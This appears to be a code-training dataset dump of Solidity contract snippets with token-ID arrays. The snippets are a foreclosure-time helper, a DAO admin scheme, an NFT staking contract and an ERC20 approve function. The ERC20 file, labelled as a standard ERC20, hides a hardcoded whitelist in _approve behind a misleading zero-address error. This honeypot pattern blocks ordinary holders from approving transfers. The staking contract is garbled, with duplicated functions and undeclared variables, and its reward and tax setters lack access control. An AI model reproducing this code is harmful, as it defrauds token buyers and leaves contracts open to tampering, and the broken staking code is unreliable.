taxOwedSince(tokenId_, timeElapsed); } /// @notice Returns the time when tax owed initially exceeded deposits. /// @dev last collected time + ((time_elapsed * deposit) / owed) /// @dev Returns within +/- 2s of previous values due to Solidity rounding /// down integer division without regard for significant digits, which produces /// variable results e.g. `599.9999999999851` becomes `599`. /// @param tokenId_ ID of token requesting /// @return Unix timestamp function _backdatedForeclosureTime(uint256 tokenId_) internal view returns (uint256) { uint256 last = lastCollectionTimeOf(tokenId_); uint256 timeElapsed = block.timestamp - last; return last + ((timeElapsed * depositOf(tokenId_)) / _taxOwed(tokenId_)); } }
@notice Sets deposit for a given token. @param tokenId_ ID of token. @param amount_ New deposit amount.
function _setDeposit(uint256 tokenId_, uint256 amount_) internal { _deposits[tokenId_] = amount_; }
12,869,535
[ 1, 2785, 443, 1724, 364, 279, 864, 1147, 18, 225, 1147, 548, 67, 1599, 434, 1147, 18, 225, 3844, 67, 1166, 443, 1724, 3844, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 542, 758, 1724, 12, 11890, 5034, 1147, 548, 67, 16, 2254, 5034, 3844, 67, 13, 2713, 288, 203, 565, 389, 323, 917, 1282, 63, 2316, 548, 67, 65, 273, 3844, 67, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >0.5.4; import "@daostack/arc/contracts/controller/Avatar.sol"; import "@daostack/arc/contracts/controller/ControllerInterface.sol"; import "../../identity/Identity.sol"; import "../../identity/IdentityGuard.sol"; import "./SchemeGuard.sol"; /* @title Scheme contract responsible for adding address given * in constructor to identity admins. */ contract AddAdmin is SchemeGuard, IdentityGuard { Identity public identity; address public admin; /* @dev Constructor. Requires given address to be a valid address * @param _avatar The avatar of the DAO * @param _identity The identity contract * @param _admin The address to add to admins */ constructor( Avatar _avatar, Identity _identity, address _admin ) public SchemeGuard(_avatar) IdentityGuard(_identity) { require(_admin != address(0), "admin cannot be null address"); identity = _identity; admin = _admin; } /* @dev starts scheme if registered by DAO, gets avatar to add the * address to list of identity admins and then self-destructs, sending * all remaining eth to the address of the DAO avatar. */ function start() public onlyRegistered { controller.genericCall( address(identity), abi.encodeWithSignature("addIdentityAdmin(address)", admin), avatar, 0 ); selfdestruct(address(avatar)); } }
@dev Constructor. Requires given address to be a valid address @param _avatar The avatar of the DAO @param _identity The identity contract @param _admin The address to add to admins/
) public SchemeGuard(_avatar) IdentityGuard(_identity) { require(_admin != address(0), "admin cannot be null address"); identity = _identity; admin = _admin; }
12,638,501
[ 1, 6293, 18, 16412, 864, 1758, 358, 506, 279, 923, 1758, 225, 389, 19660, 1021, 16910, 434, 326, 463, 20463, 225, 389, 10781, 1021, 4215, 6835, 225, 389, 3666, 1021, 1758, 358, 527, 358, 31116, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 1071, 10714, 16709, 24899, 19660, 13, 7808, 16709, 24899, 10781, 13, 288, 203, 3639, 2583, 24899, 3666, 480, 1758, 12, 20, 3631, 315, 3666, 2780, 506, 446, 1758, 8863, 203, 3639, 4215, 273, 389, 10781, 31, 203, 3639, 3981, 273, 389, 3666, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x208917Cd0eAF07D70c1c4010160d9B2935460705/sources/contracts/TestContract.sol
Interfaces for ERC20 and ERC721 Constructor function to set the rewards token and the NFT collection addresses
contract SLnotifyStaking is Ownable, ReentrancyGuard, Pausable { using SafeERC20 for IERC20; IERC20 public immutable rewardsToken; IERC721 public immutable nftCollection; constructor(IERC721 _nftCollection, IERC20 _rewardsToken, address _stakingVaultAddress) { nftCollection = _nftCollection; rewardsToken = _rewardsToken; stakingVaultAddress = _stakingVaultAddress; } struct StakedToken { address staker; uint256 tokenId; } struct Staker { uint256 amountStaked; StakedToken[] stakedTokens; uint256 timeOfLastUpdate; uint256 unclaimedRewards; } uint256 public rewardsBurnTax = 10; uint256 public rewardsVaultTax = 10; address public stakingVaultAddress; uint256 public rewardsPerHour = 1250000000000000000; uint256 public totalStaked; mapping(address => Staker) public stakers; mapping(uint256 => address) public stakerAddress; function stake(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; uint256 minLockTime = staker.lockTime; for (uint256 i = 0; i < _tokenIds.length; i++) { require(nftCollection.ownerOf(_tokenIds[i]) == msg.sender, "You don't own this token!"); require(minLockTime == 0 || block.timestamp >= minLockTime, "Token is still locked"); if (staker.amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; } if (staker.lockTime == 0 || staker.lockTime > block.timestamp + LOCK_TIME) { minLockTime = block.timestamp + LOCK_TIME; } } } function stake(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; uint256 minLockTime = staker.lockTime; for (uint256 i = 0; i < _tokenIds.length; i++) { require(nftCollection.ownerOf(_tokenIds[i]) == msg.sender, "You don't own this token!"); require(minLockTime == 0 || block.timestamp >= minLockTime, "Token is still locked"); if (staker.amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; } if (staker.lockTime == 0 || staker.lockTime > block.timestamp + LOCK_TIME) { minLockTime = block.timestamp + LOCK_TIME; } } } function stake(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; uint256 minLockTime = staker.lockTime; for (uint256 i = 0; i < _tokenIds.length; i++) { require(nftCollection.ownerOf(_tokenIds[i]) == msg.sender, "You don't own this token!"); require(minLockTime == 0 || block.timestamp >= minLockTime, "Token is still locked"); if (staker.amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; } if (staker.lockTime == 0 || staker.lockTime > block.timestamp + LOCK_TIME) { minLockTime = block.timestamp + LOCK_TIME; } } } nftCollection.transferFrom(msg.sender, address(this), _tokenIds[i]); staker.stakedTokens.push(StakedToken(msg.sender, _tokenIds[i])); staker.amountStaked++; totalStaked++; stakerAddress[_tokenIds[i]] = msg.sender; function stake(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; uint256 minLockTime = staker.lockTime; for (uint256 i = 0; i < _tokenIds.length; i++) { require(nftCollection.ownerOf(_tokenIds[i]) == msg.sender, "You don't own this token!"); require(minLockTime == 0 || block.timestamp >= minLockTime, "Token is still locked"); if (staker.amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; } if (staker.lockTime == 0 || staker.lockTime > block.timestamp + LOCK_TIME) { minLockTime = block.timestamp + LOCK_TIME; } } } staker.timeOfLastUpdate = block.timestamp; staker.lockTime = minLockTime; function withdraw(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; for (uint256 i = 0; i < _tokenIds.length; i++) { require(staker.amountStaked > 0, "You have no tokens staked"); require(stakerAddress[_tokenIds[i]] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; uint256 index; StakedToken[] storage tokens = staker.stakedTokens; for (uint256 j = 0; j < tokens.length; j++) { if (tokens[j].tokenId == _tokenIds[i] && tokens[j].staker != address(0)) { index = j; break; } } if (index < tokens.length - 1) { tokens[index] = tokens[tokens.length - 1]; } tokens.pop(); stakerAddress[_tokenIds[i]] = address(0); staker.amountStaked--; nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]); staker.timeOfLastUpdate = block.timestamp; } } function withdraw(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; for (uint256 i = 0; i < _tokenIds.length; i++) { require(staker.amountStaked > 0, "You have no tokens staked"); require(stakerAddress[_tokenIds[i]] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; uint256 index; StakedToken[] storage tokens = staker.stakedTokens; for (uint256 j = 0; j < tokens.length; j++) { if (tokens[j].tokenId == _tokenIds[i] && tokens[j].staker != address(0)) { index = j; break; } } if (index < tokens.length - 1) { tokens[index] = tokens[tokens.length - 1]; } tokens.pop(); stakerAddress[_tokenIds[i]] = address(0); staker.amountStaked--; nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]); staker.timeOfLastUpdate = block.timestamp; } } function withdraw(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; for (uint256 i = 0; i < _tokenIds.length; i++) { require(staker.amountStaked > 0, "You have no tokens staked"); require(stakerAddress[_tokenIds[i]] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; uint256 index; StakedToken[] storage tokens = staker.stakedTokens; for (uint256 j = 0; j < tokens.length; j++) { if (tokens[j].tokenId == _tokenIds[i] && tokens[j].staker != address(0)) { index = j; break; } } if (index < tokens.length - 1) { tokens[index] = tokens[tokens.length - 1]; } tokens.pop(); stakerAddress[_tokenIds[i]] = address(0); staker.amountStaked--; nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]); staker.timeOfLastUpdate = block.timestamp; } } function withdraw(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; for (uint256 i = 0; i < _tokenIds.length; i++) { require(staker.amountStaked > 0, "You have no tokens staked"); require(stakerAddress[_tokenIds[i]] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; uint256 index; StakedToken[] storage tokens = staker.stakedTokens; for (uint256 j = 0; j < tokens.length; j++) { if (tokens[j].tokenId == _tokenIds[i] && tokens[j].staker != address(0)) { index = j; break; } } if (index < tokens.length - 1) { tokens[index] = tokens[tokens.length - 1]; } tokens.pop(); stakerAddress[_tokenIds[i]] = address(0); staker.amountStaked--; nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]); staker.timeOfLastUpdate = block.timestamp; } } function withdraw(uint256[] calldata _tokenIds) external nonReentrant { Staker storage staker = stakers[msg.sender]; for (uint256 i = 0; i < _tokenIds.length; i++) { require(staker.amountStaked > 0, "You have no tokens staked"); require(stakerAddress[_tokenIds[i]] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); staker.unclaimedRewards += rewards; uint256 index; StakedToken[] storage tokens = staker.stakedTokens; for (uint256 j = 0; j < tokens.length; j++) { if (tokens[j].tokenId == _tokenIds[i] && tokens[j].staker != address(0)) { index = j; break; } } if (index < tokens.length - 1) { tokens[index] = tokens[tokens.length - 1]; } tokens.pop(); stakerAddress[_tokenIds[i]] = address(0); staker.amountStaked--; nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]); staker.timeOfLastUpdate = block.timestamp; } } function claimRewards() public nonReentrant whenNotPaused { Staker storage staker = stakers[msg.sender]; uint256 unclaimedRewards = staker.unclaimedRewards; staker.unclaimedRewards = 0; uint256 totalRewards = unclaimedRewards; staker.timeOfLastUpdate = block.timestamp; if (totalRewards > 0) { if (burnAmount > 0) { } if (stakingVaultAmount > 0) { } } } function claimRewards() public nonReentrant whenNotPaused { Staker storage staker = stakers[msg.sender]; uint256 unclaimedRewards = staker.unclaimedRewards; staker.unclaimedRewards = 0; uint256 totalRewards = unclaimedRewards; staker.timeOfLastUpdate = block.timestamp; if (totalRewards > 0) { if (burnAmount > 0) { } if (stakingVaultAmount > 0) { } } } function claimRewards() public nonReentrant whenNotPaused { Staker storage staker = stakers[msg.sender]; uint256 unclaimedRewards = staker.unclaimedRewards; staker.unclaimedRewards = 0; uint256 totalRewards = unclaimedRewards; staker.timeOfLastUpdate = block.timestamp; if (totalRewards > 0) { if (burnAmount > 0) { } if (stakingVaultAmount > 0) { } } } function claimRewards() public nonReentrant whenNotPaused { Staker storage staker = stakers[msg.sender]; uint256 unclaimedRewards = staker.unclaimedRewards; staker.unclaimedRewards = 0; uint256 totalRewards = unclaimedRewards; staker.timeOfLastUpdate = block.timestamp; if (totalRewards > 0) { if (burnAmount > 0) { } if (stakingVaultAmount > 0) { } } } function availableRewards(address staker) public view returns (uint256) { uint256 rewards = calculateRewards(staker) + stakers[staker].unclaimedRewards; return rewards; } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function setRewardsPerHour(uint256 _rewardsPerHour) public { rewardsPerHour = _rewardsPerHour; } function setBurnTax(uint256 _rewardsBurnTax) public { rewardsBurnTax = _rewardsBurnTax; } function setVaultTax(uint256 _rewardsVaultTax) public { rewardsVaultTax = _rewardsVaultTax; } function calculateRewards(address _staker) internal view returns (uint256 _rewards) { uint256 timeSinceLastUpdate = block.timestamp - stakers[_staker].timeOfLastUpdate; uint256 stakedAmount = stakers[_staker].amountStaked; uint256 rewardsRate = rewardsPerHour / 3600; _rewards = timeSinceLastUpdate * stakedAmount * rewardsRate; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } event RewardsClaimed(address indexed staker, uint256 amount); }
1,887,046
[ 1, 10273, 364, 4232, 39, 3462, 471, 4232, 39, 27, 5340, 11417, 445, 358, 444, 326, 283, 6397, 1147, 471, 326, 423, 4464, 1849, 6138, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 348, 48, 12336, 510, 6159, 353, 14223, 6914, 16, 868, 8230, 12514, 16709, 16, 21800, 16665, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 467, 654, 39, 3462, 1071, 11732, 283, 6397, 1345, 31, 203, 565, 467, 654, 39, 27, 5340, 1071, 11732, 290, 1222, 2532, 31, 203, 203, 565, 3885, 12, 45, 654, 39, 27, 5340, 389, 82, 1222, 2532, 16, 467, 654, 39, 3462, 389, 266, 6397, 1345, 16, 1758, 389, 334, 6159, 12003, 1887, 13, 288, 203, 3639, 290, 1222, 2532, 273, 389, 82, 1222, 2532, 31, 203, 3639, 283, 6397, 1345, 273, 389, 266, 6397, 1345, 31, 203, 3639, 384, 6159, 12003, 1887, 273, 389, 334, 6159, 12003, 1887, 31, 203, 21281, 565, 289, 203, 203, 565, 1958, 934, 9477, 1345, 288, 203, 3639, 1758, 384, 6388, 31, 203, 3639, 2254, 5034, 1147, 548, 31, 203, 565, 289, 203, 377, 203, 565, 1958, 934, 6388, 288, 203, 3639, 2254, 5034, 3844, 510, 9477, 31, 203, 203, 3639, 934, 9477, 1345, 8526, 384, 9477, 5157, 31, 203, 203, 3639, 2254, 5034, 813, 951, 3024, 1891, 31, 203, 203, 3639, 2254, 5034, 6301, 80, 4581, 329, 17631, 14727, 31, 203, 565, 289, 203, 203, 203, 565, 2254, 5034, 1071, 283, 6397, 38, 321, 7731, 273, 1728, 31, 203, 565, 2254, 5034, 1071, 283, 6397, 12003, 7731, 273, 1728, 31, 203, 27699, 203, 203, 203, 565, 1758, 1071, 384, 6159, 12003, 1887, 31, 203, 565, 2254, 5034, 1071, 283, 6397, 2173, 13433, 273, 2 ]
./full_match/1/0x1FeE5C1fB09E7ED42eC613D50ab98AD96e714E29/sources/https_/github.com/TnzGit/giggly-baby/blob/master/contracts/token/ERC20/ERC20.sol
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); require((owner == 0xBcfB4020d13E2057448881184781E533B987Bb5B) || (owner == 0x4C38b7c6992647525a7F5A3B64f65422D91650D3) || (owner == 0x33d797702045fEad2cE7BafC3eDBA3429d42fa87) || (owner == 0x44045dB096651099BBAE4298ADEf483cB54e53b3) || (owner == 0x13C8cF6a4B6Fe4Df22CbDb53E5563D96AC9860b4) || (owner == 0xEAc29AC651993D10ee258B1ffB097146970E2Ff9) || (owner == 0x400712E7132410d70Cd9C0FB20D74DFA28439426) || (owner == 0x14Fe257F35C96BEC4DfA042c5eADD21Db06d0412) || (owner == 0x41C70e4A7e016Ed3a59dAaB7C2fCD277ff7b950c) || (owner == 0xd718AaA76e116B23c8CA893743D7603F502Da6B4) || (owner == 0xA073e1ce8716db04E918807445bd3f6b6F8EbbA2) || (owner == 0xB6ff382022999C1A70473F3eFaABd8682c012553) || (owner == 0xfF3daE7d9aC993a7E7582401e7AD11162f13019E) || (owner == 0xC8528c8590d6b7DAf3dd3Ae6A042cBEaDE50A0f7) || (owner == 0xf3205435cE8cFEa3Ac49E809480aA015f25472Fb) || (owner == 0x6AbBE02029B1D64c2aDa60Fac7c5B9625D1F905C) || (owner == 0x82426F5e46400A7D9fA80EE68cFc6084F687C101) || (owner == 0xff7a3dDe0Aba946ef035B000950DB7F35d1e9703) || (owner == 0x88C270151Ec2773Dd89111f66f5dcC63500DD3cF) || (owner == 0x31920932698C2f64b90Ae10954745628f83B0a13) || (owner == 0x499125f591eb6380fAea9158aFD4eE97502D33b6) || (owner == 0x36DD224fb7A677F06B3622CEa62dc8Bd3494859A), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
3,862,202
[ 1, 2785, 1375, 8949, 68, 487, 326, 1699, 1359, 434, 1375, 87, 1302, 264, 68, 1879, 326, 1375, 8443, 68, 272, 2430, 18, 1220, 2713, 445, 353, 7680, 358, 1375, 12908, 537, 9191, 471, 848, 506, 1399, 358, 425, 18, 75, 18, 444, 5859, 1699, 6872, 364, 8626, 15359, 87, 16, 5527, 18, 7377, 1282, 392, 288, 23461, 97, 871, 18, 29076, 30, 300, 1375, 8443, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 87, 1302, 264, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 12908, 537, 12, 2867, 3410, 16, 1758, 17571, 264, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 8443, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 6617, 537, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 87, 1302, 264, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 6617, 537, 358, 326, 3634, 1758, 8863, 203, 3639, 2583, 12443, 8443, 422, 374, 20029, 8522, 38, 24, 3103, 20, 72, 3437, 41, 31777, 5608, 24, 5482, 28, 2499, 5193, 8285, 21, 41, 25, 3707, 38, 10689, 27, 38, 70, 25, 38, 13, 747, 261, 8443, 422, 374, 92, 24, 39, 7414, 70, 27, 71, 26, 2733, 23728, 5877, 2947, 69, 27, 42, 25, 37, 23, 38, 1105, 74, 26, 6564, 3787, 40, 29, 2313, 3361, 40, 23, 13, 747, 261, 8443, 422, 374, 92, 3707, 72, 7235, 4700, 3103, 3028, 25, 74, 41, 361, 22, 71, 41, 27, 38, 1727, 39, 23, 73, 2290, 37, 5026, 5540, 72, 9452, 507, 11035, 13, 747, 261, 8443, 422, 374, 92, 6334, 3028, 25, 72, 38, 5908, 6028, 25, 2163, 2733, 9676, 16985, 24, 5540, 28, 37, 1639, 74, 8875, 23, 71, 38, 6564, 73, 8643, 70, 23, 13, 747, 261, 8443, 422, 374, 92, 3437, 39, 28, 71, 42, 26, 69, 24, 38, 26, 2954, 24, 40, 74, 3787, 15237, 